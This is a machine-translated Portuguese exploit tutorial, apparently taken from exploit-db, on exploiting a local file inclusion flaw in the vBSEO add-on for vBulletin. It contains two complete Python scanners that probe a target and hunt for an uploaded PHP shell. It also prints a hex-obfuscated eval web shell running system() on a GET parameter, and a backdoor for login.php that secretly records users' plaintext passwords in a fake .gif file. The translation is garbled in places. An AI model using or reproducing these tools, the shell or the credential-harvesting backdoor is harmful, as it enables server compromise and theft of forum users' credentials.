Algum tempo atrás, uma vulnerabilidade LFI dentro vBSEO foi descoberto, o que permitiu a um atacante local para incluir arquivos hospedados. O desafio, quando confrontado com uma vulnerabilidade LFI, é aproveitar-lo em execução de código arbitrário da nossa escolha.
instalações vBulletin Muitos estão usando esse addon para melhorar o seu SEO drasticamente, porém muitas delas não são totalmente remendadas que é bom para nós, mas muito ruim para aqueles que hospedar um aplicativo web vulnerável.

Em muitos casos, não é pedaço de bolo para explorar LFI, aka Local File Inclusion, vulnerabilidades, devido ao fato de que pode não ser fácil fazer o upload de conteúdo para o servidor de destino. Em alguns cenários, é possível injetar código PHP em logs de acesso e em outros, é possível incluir arquivos binários MySQL. Deve-se notar, porém, que é geralmente impossível saber sempre onde esses arquivos são armazenados.
Claro, podemos adivinhar onde esses arquivos são armazenados, mas podem ainda não ter certeza de como o servidor está configurado e se esta abordagem irá funcionar.
Reconhecimento
Primeiro, precisamos de determinar se o nosso alvo é vulnerável ou não. Isso pode ser feito solicitando a inclusão de um script local da seguinte forma:
http://our-target.tld/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html

Por favor note que algumas instalações pode parecer vulnerável, embora eles não são.
A partir da nossa base de seleção acima, gostaríamos de testar se realmente o nosso objectivo é vulnerável a Local de arquivo Inclusões. Fazemos isso através da criação de um arquivo txt com pequenas “phpinfo () nele que iremos enviar para o nosso alvo, através do gerente de penhora. Algumas instalações vBulletin armazenar anexos localmente, o que pode ser abusado, neste caso, inclui um reservatório ou um código malicioso semelhante, se sabemos a localização física do nosso arquivo e se há uma vulnerabilidade que permite fazer isso.
Exploração
A fim de encontrar a localização física do nosso arquivo carregado precisamos encontrar o diretório de anexos e digitalização através da subdiretórios. Eu criei uma pequena ferramenta para esta tarefa, que está longe de ser completa, mas ela não funciona em algumas máquinas. Você pode obter a versão básica é a seguinte:
#!/usr/bin/python
# ______ __ __ __ __ ______
# /\__ _\ /\ \__ /\ \/\ \ /'__`\/\__ _\
# \/_/\ \/ ___\ \ ,_\ __ _ __\ \ `\\ \/\ \/\ \/_/\ \/
# \ \ \ /' _ `\ \ \/ /'__`\/\`'__\ \ , ` \ \ \ \ \ \ \ \
# \_\ \__/\ \/\ \ \ \_/\ __/\ \ \/ \ \ \`\ \ \ \_\ \ \ \ \
# /\_____\ \_\ \_\ \__\ \____\\ \_\ \ \_\ \_\ \____/ \ \_\
# \/_____/\/_/\/_/\/__/\/____/ \/_/ \/_/\/_/\/___/ \/_/
# --------------------------------------------------------
# Title: vBSEO LFI Assistant Tool
# Author: MaXe
# Site: http://www.intern0t.net
#
# Description: 1) Checks whether the vBSEO installation
# is patched or not. 2) Attempts to find
# the physical location of an uploaded
# attachment phile. (PHP Shell)
#
# Version: 2.1.4 - Reversed Algorithm - Basic Version
#
# License: -- Attribution-ShareAlike 3.0 Unported --
# http://creativecommons.org/licenses/by-sa/3.0/
#
# Notes: The basic version does not contain multi-
# threading nor is it able to search through
# multiple sub directories which the advanced
# version will be able to.
# Please note, that this tool does not work on
# all types of hosts and you should therefore
# modify this script to your own needs.
#
# Disclaimer: This tool is meant for ethical purposes only.
# Import the appropriate libraries.
import os
import re
import httplib
import sys
# Clear the screen in a sufficient way.
if(os.name) == "posix":
os.system("clear")
elif(os.name) == "nt":
os.system("cls")
else:
print "[!] Cannot clear screen automatically.\n"
print "File Finder by MaXe from InterN0T.net\n\n"
# Get user-input and define global variables.
target = raw_input("Enter a domain to scan: ")
file_match = raw_input("Enter a keyword to look for: ")
main_dir = ["attach","attachment","attachments","download"]
poss_main_dir = []
sub_dir = []
# Strip away http and https from the target variable.
striptarget = re.compile('(http://|https://)')
newtarget = striptarget.sub('', target)
# Perform a simple LFI to check whether the target is vulnerable or not.
conn = httplib.HTTPConnection(newtarget, 80)
print "[*] Checking if site appears to be vulnerable."
conn.request("GET", "/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html")
resp = conn.getresponse()
# If the response code is 200 OK, check if the file really was included.
if resp.status == 200:
print "[+] Site is responding, this is good."
if re.search("(Enter text...)", resp.read()):
print ">> The site appears to be vulnerable!"
else:
print "[!] The site appears to be patched. (unknown error)"
elif resp.status == 404:
print "[!] The site appears to be patched. (404)"
# Search for attachment directories
for value in main_dir[0:]:
conn = httplib.HTTPConnection(newtarget, 80)
print "[*] Trying: http://%s/%s/" % (newtarget,value)
conn.request("HEAD", "/%s/" % value)
resp = conn.getresponse()
# If the response code is 403 (Forbidden), set a new variable and continue.
if resp.status == 403:
print "[+] Directory found: /%s/" % value
if poss_main_dir == []:
poss_main_dir = ["%s" % value]
else:
poss_main_dir += ["%s" % value]
conn.close()
if poss_main_dir == []:
print "[!] No directories were found, exiting."
sys.exit()
# Search for possible sub directories
for value in poss_main_dir:
i = 0
print "[*] Trying subdirs within: http://%s/%s/" % (newtarget,value)
while i <= 9: conn = httplib.HTTPConnection(newtarget, 80) conn.request("HEAD", "/%s/%s/" % (value,i)) resp = conn.getresponse() if resp.status == 403: print "[+] Sub Directory found: /%s/%s/" % (value,i) found = "%s/%s" % (value,i) if sub_dir == []: sub_dir = ["%s" % found] else: sub_dir += ["%s" % found] i=i+1 conn.close() if sub_dir == []: print "[!] No sub directories were found, exiting." sys.exit() # Search all the sub directories found for our phile for value in sub_dir[0:]: i = 99 print "[*] Trying to find our file within: /%s/" % value while i >= 0:
conn = httplib.HTTPConnection(newtarget, 80)
conn.request("GET", "/%s/%s.attach" % (value,i))
resp = conn.getresponse()
if resp.status == 200:
print "[+] File found, does it match our keyword? >>%s" % file_match
if re.search("(%s)" % file_match, resp.read()):
print ">> File contains our keyword!"
print "Part URL: /%s/%s.attach" % (value,i)
print "Full URL: http://" + newtarget + "/%s/%s.attach \n" % (value,i)
sys.exit(0)
i=i-1
conn.close()
# Don't forget, that this script can be used for more than one thing.
A versão multi-threaded é mostrada abaixo. Tenha em mente que a versão multi-threaded é um buggy pouco, porque eu não sincronizar as threads.
#!/usr/bin/python
# ______ __ __ __ __ ______
# /\__ _\ /\ \__ /\ \/\ \ /'__`\/\__ _\
# \/_/\ \/ ___\ \ ,_\ __ _ __\ \ `\\ \/\ \/\ \/_/\ \/
# \ \ \ /' _ `\ \ \/ /'__`\/\`'__\ \ , ` \ \ \ \ \ \ \ \
# \_\ \__/\ \/\ \ \ \_/\ __/\ \ \/ \ \ \`\ \ \ \_\ \ \ \ \
# /\_____\ \_\ \_\ \__\ \____\\ \_\ \ \_\ \_\ \____/ \ \_\
# \/_____/\/_/\/_/\/__/\/____/ \/_/ \/_/\/_/\/___/ \/_/
# --------------------------------------------------------
# Title: vBSEO LFI Assistant Tool
# Author: MaXe
# Site: http://www.intern0t.net
#
# Description: 1) Checks whether the vBSEO installation
# is patched or not. 2) Attempts to find
# the physical location of an uploaded
# attachment phile. (PHP Shell)
#
# Version: 2.2.3 - Multi-Threading! - Basic Version
#
# License: -- Attribution-ShareAlike 3.0 Unported --
# http://creativecommons.org/licenses/by-sa/3.0/
#
# Notes: Please note, that this tool does not work on
# all types of hosts and you should therefore
# modify this script to your own needs.
# Multi-Threading in this tool is very buggy!
#
# Disclaimer: This tool is meant for ethical purposes only.
# Import the appropriate libraries.
import os
import re
import httplib
import sys
import thread
import time
# Clear the screen in a sufficient way.
if(os.name) == "posix":
os.system("clear")
elif(os.name) == "nt":
os.system("cls")
else:
print "[!] Cannot clear screen automatically.\n"
print "File Finder by MaXe from InterN0T.net\n\n"
# Get user-input and define global variables.
target = raw_input("Enter a domain to scan: ")
file_match = raw_input("Enter a keyword to look for: ")
main_dir = ["attach","attachment","attachments","download"]
poss_main_dir = []
sub_dir = []
# Strip away http and https from the target variable.
striptarget = re.compile('(http://|https://)')
newtarget = striptarget.sub('', target)
# Perform a simple LFI to check whether the target is vulnerable or not.
conn = httplib.HTTPConnection(newtarget, 80)
print "[*] Checking if site appears to be vulnerable."
conn.request("GET", "/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html")
resp = conn.getresponse()
# If the response code is 200 OK, check if the file really was included.
if resp.status == 200:
print "[+] Site is responding, this is good."
if re.search("(Enter text...)", resp.read()):
print ">>The site appears to be vulnerable!"
else:
print "[!] The site appears to be patched. (unknown error)"
elif resp.status == 404:
print "[!] The site appears to be patched. (404)"
# Define a multi-threaded function for locating the attachment directory.
def findMainDir(target, array):
global poss_main_dir
conn = httplib.HTTPConnection(target, 80)
print "[*] Trying: http://%s/%s/" % (target,array)
conn.request("HEAD", "/%s/" % array)
resp = conn.getresponse()
# If the response code is 403 (Forbidden), set a new variable and continue.
if resp.status == 403:
print "[+] Directory found: /%s/" % array
if poss_main_dir == []:
poss_main_dir = ["%s" % array]
else:
poss_main_dir += ["%s" % array]
conn.close()
# Define a multi-threaded function to scan for sub directories.
def findSubDir(target, array):
global sub_dir
i = 0
print "[*] Trying subdirs within: http://%s/%s/" % (target,array)
while i <= 9: conn = httplib.HTTPConnection(target, 80) conn.request("HEAD", "/%s/%s/" % (array,i)) resp = conn.getresponse() if resp.status == 403: print "[+] Sub Directory found: /%s/%s/" % (array,i) found = "%s/%s" % (array,i) if sub_dir == []: sub_dir = ["%s" % found] else: sub_dir += ["%s" % found] i=i+1 conn.close() # Define a multi-threaded function to find our phile. # Developer Note: This function has a sub-function # (while) which could be multi-threaded # as well to speed up the process. def findPhile(target,array): i = 99 print "[*] Trying to find our file within: /%s/" % array while i >= 0:
conn = httplib.HTTPConnection(target, 80)
conn.request("HEAD", "/%s/%s.attach" % (array,i))
resp = conn.getresponse()
if resp.status == 200:
print "[+] File found, does it match our keyword? >>%s" % file_match
conn = httplib.HTTPConnection(target, 80)
conn.request("GET", "/%s/%s.attach" % (array,i))
resp = conn.getresponse()
if re.search("(%s)" % file_match, resp.read()):
print ">>File %s.attach contains our keyword!" % i
print "Part URL: /%s/%s.attach" % (array,i)
print "Full URL: http://" + target + "/%s/%s.attach \n" % (array,i)
sys.exit(0)
i=i-1
conn.close()
# For each value in main_dir (array / list), start a new thread.
for value in main_dir[0:]:
try:
thread.start_new_thread(findMainDir, (newtarget,value))
time.sleep(1)
except KeyboardInterrupt:
print "Quitting.."
sys.exit()
except:
print "[!] Could not create any threads. Quitting.."
sys.exit(1)
# Check if any values were assigned to the poss_main_dir array. If not, quit.
if poss_main_dir == []:
print "[!] No directories were found, quitting."
sys.exit()
for value in poss_main_dir[0:]:
try:
thread.start_new_thread(findSubDir, (newtarget,value))
time.sleep(1)
except KeyboardInterrupt:
print "Quitting.."
sys.exit()
except:
print "[!] Could not create any threads. Quitting.."
sys.exit(1)
if sub_dir == []:
print "[!] No sub directories were found, quitting."
sys.exit()
for value in sub_dir[0:]:
try:
thread.start_new_thread(findPhile,(newtarget,value))
time.sleep(1)
except KeyboardInterrupt:
print "Quitting.."
sys.exit()
except:
print "[!] Could not create any threads. Quitting.."
sys.exit(1)
try:
print "Waiting for threads.."
time.sleep(60)
except KeyboardInterrupt:
print "Quitting.."
except:
print "[!] Error"
# Don't forget, that this script can be used for more than one thing.
Esperemos que a nossa ferramenta localiza o diretório de anexos, e varre os subdiretórios para o nosso arquivo, como mostrado na imagem abaixo.

Se pedir a localização do nosso arquivo no nosso navegador web, então estamos mostrado uma versão do texto do nosso arquivo. Vamos tentar incluir isso e ver o que acontece:

Como você pode ver, nós fomos bem sucedidos.
Agora, eu não gosto de usar aquelas conchas fantasia C99 e tal. Na verdade eu prefiro conchas simples feito ou escrito por mim. Para este efeito, eu escrevi uma aplicação web que permite-me a criá-los, com diferentes métodos de entrada, codificação e até mesmo as funções a serem chamados. Neste caso eu escolhi uma solicitação GET, o sistema () chamada php, e “shell estilo” codificação.

O que resulta no seguinte código:
?php eval("\x65\x72\x72\x6f\x72\x5f\x72\x65\x70\x6f\x72\x74\x69\x6e\x67\x28\x30\x29\x3b\x65\x63\x68\x6f\x20\x40\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x22\x70\x77\x6e\x22\x5d\x29\x3b"); ?
Nós enviar este para o nosso destino e incluir esse arquivo, e chamar uma função básica do sistema, tais como “ls-al”, através do próprio “GET-neste caso, que é bem sucedido.

Post Exploração
Neste ponto, podemos fazer muita coisa que gostaríamos de, tais como dumping para o banco de dados não é bom desde que todas as senhas são salgados e terá praticamente uma eternidade para crack. Outra abordagem mais séria e blackhat eu experimentei no meu próprio fórum, é alterar o arquivo login.php para que cada vez que alguém loga no sistema, a informação é guardada em um arquivo aparentemente inofensivo.
?php
/* This code was placed inside login.php
Look at the comments for further details.
*/
/* 1) Fopen
Open a file named profilepic12_2.gif and append data to it. Disable any errors this may cause in case of failure. The path defined is static.
( fopen($var, "a"); Explanation: Open for writing only; place the file pointer at the end of the file. If the file does not exist, attempt to create it. ) */
$fp = @fopen('/homepages/xxx/xxxxxxxxxx/htdocs/xxxxxxxxxxxxxxxxx/customprofilepics/profilepic12_2.gif', "a");
/* If the file was opened or created succesfully then. */
if ($fp) {
/* Write the following Base64-encoded fields to the file on one line:
The current date, Username, Password, IP-Address, User-Agent and a New Line ( \n ).
This also has error reporting specificly disabled. Just in case. */
@fputs($fp, base64_encode(date("r") . "|" . $vbulletin->GPC['vb_login_username'] . "|" . $vbulletin->GPC['vb_login_password'] . "|" . $_SERVER['REMOTE_ADDR'] . "|" . $_SERVER['HTTP_USER_AGENT']) . "\n");
/* Close the file, error reporting is specificly disabled too here. */
@fclose($fp);
}
/* End of the custom-coded backdoor. */
?
Depois de alguns dias, se o ataque não tenha sido detectada, as cargas de contas de usuário será localizada dentro deste arquivo, que o invasor pode usar a sua vantagem.
~ Maxe
Referências:
[1] vBSEO LFI Proof of Concept
[2] Static para basic.py
[3] link estático para threading.py
Fonte: http://www.exploit-db.com/vbulletin-not-so-secure-anymore/
Traduzido No Google Tradutor